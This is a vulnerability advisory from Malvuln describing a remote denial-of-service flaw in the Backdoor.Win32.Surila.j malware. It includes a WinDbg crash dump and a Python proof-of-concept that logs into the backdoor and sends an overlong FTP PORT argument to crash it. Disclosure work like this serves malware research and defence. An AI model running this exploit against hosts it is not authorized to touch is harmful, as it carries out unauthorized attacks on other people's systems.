Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Surila.j Vulnerability: Remote Denial of Service Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050. Third-party attackers who can reach infected systems can logon using any username/password combination. Supplying a long string of characters for the FTP PORT command argument results in access violation and crash. Type: PE32 MD5: b1cec4b806c71c82bbd9002bdaf21d1f Vuln ID: MVID-2021-0290 Dropped files: iexp1orer.exe ASLR: False DEP: False Safe SEH: True Disclosure: 07/12/2021 Memory Dump: (758.c3c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000000 edx=0040b5d4 esi=00000003 edi=00000003 eip=77dded3c esp=027ce28c ebp=027ce41c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 77dded3c c21400 ret 14h 0:005> .ecxr eax=00000000 ebx=000002b4 ecx=00000000 edx=0040b5d4 esi=00404f4d edi=027cf628 eip=0040492e esp=027cebcc ebp=027cebd4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 *** WARNING: Unable to verify checksum for iexp1orer.exe *** ERROR: Module load completed but symbols could not be loaded for iexp1orer.exe iexp1orer+0x492e: 0040492e 8801 mov byte ptr [ecx],al ds:002b:00000000=?? 0:005> !exchain 027ce40c: KERNELBASE!_except_handler4+0 (74e7fc20) CRT scope 0, func: KERNELBASE!WaitForMultipleObjectsEx+31e15 (74ea2fe5) 027ce4d4: kernel32!_except_handler4+0 (7765d450) CRT scope 0, func: kernel32!WerpReportFaultInternal+485 (7764f7db) 027ce598: KERNELBASE!_except_handler4+0 (74e7fc20) CRT scope 1, filter: KERNELBASE!UnhandledExceptionFilter+2bf (74efd93f) func: KERNELBASE!UnhandledExceptionFilter+2c5 (74efd945) 027ce62c: ntdll!ExecuteHandler2+44 (77df9d70) 027cffcc: ntdll!_except_handler4+0 (77de6a50) CRT scope 0, filter: ntdll!__RtlUserThreadStart+3ed68 (77e137b0) func: ntdll!__RtlUserThreadStart+3edaf (77e137f7) 027cffe4: ntdll!FinalExceptionHandlerPad14+0 (77df9eae) Invalid exception stack at ffffffff 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: iexp1orer+492e 0040492e 8801 mov byte ptr [ecx],al EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040492e (iexp1orer+0x0000492e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 00000000 Attempt to write to address 00000000 PROCESS_NAME: iexp1orer.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 00000000 WRITE_ADDRESS: 00000000 FOLLOWUP_IP: iexp1orer+492e 0040492e 8801 mov byte ptr [ecx],al MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000c3c BUGCHECK_STR: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE PRIMARY_PROBLEM_CLASS: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE DEFAULT_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE LAST_CONTROL_TRANSFER: from 00403413 to 0040492e STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 027cebd4 00403413 00000000 0040b5d4 00000000 iexp1orer+0x492e 027cebe8 00405385 00000000 0040b5d4 00404f4d iexp1orer+0x3413 027cff80 77608654 000002b4 77608630 4da48a6e iexp1orer+0x5385 027cff94 77dd4a77 000002b4 4925826f 00000000 kernel32!BaseThreadInitThunk+0x24 027cffdc 77dd4a47 ffffffff 77df9eae 00000000 ntdll!__RtlUserThreadStart+0x2f 027cffec 00000000 00404f4d 000002b4 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: iexp1orer+492e FOLLOWUP_NAME: MachineOwner MODULE_NAME: iexp1orer IMAGE_NAME: iexp1orer.exe DEBUG_FLR_IMAGE_TIMESTAMP: 41417b55 FAILURE_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_c0000005_iexp1orer.exe!Unknown BUCKET_ID: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_iexp1orer+492e Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=19427 def chk_res(s): res="" while True: res += s.recv(128) print(res) if "\0" in res or "\n" in res or res == "" or "OK" in res or res=="": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) if "220 Bot Server (Win32)" in chk_res(s): print("Backdoor.Win32.Surila.j Found!") s.send("USER mal\r\n") time.sleep(0.5) s.send("PASS vuln\r\n") time.sleep(0.5) PAYLOAD="A"*12500 s.send("PORT " + PAYLOAD+"\r\n") print("Backdoor.Win32.Surila.j / Remote Denial of Service") print("MD5: b1cec4b806c71c82bbd9002bdaf21d1f") print("Malvuln") s.close() if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).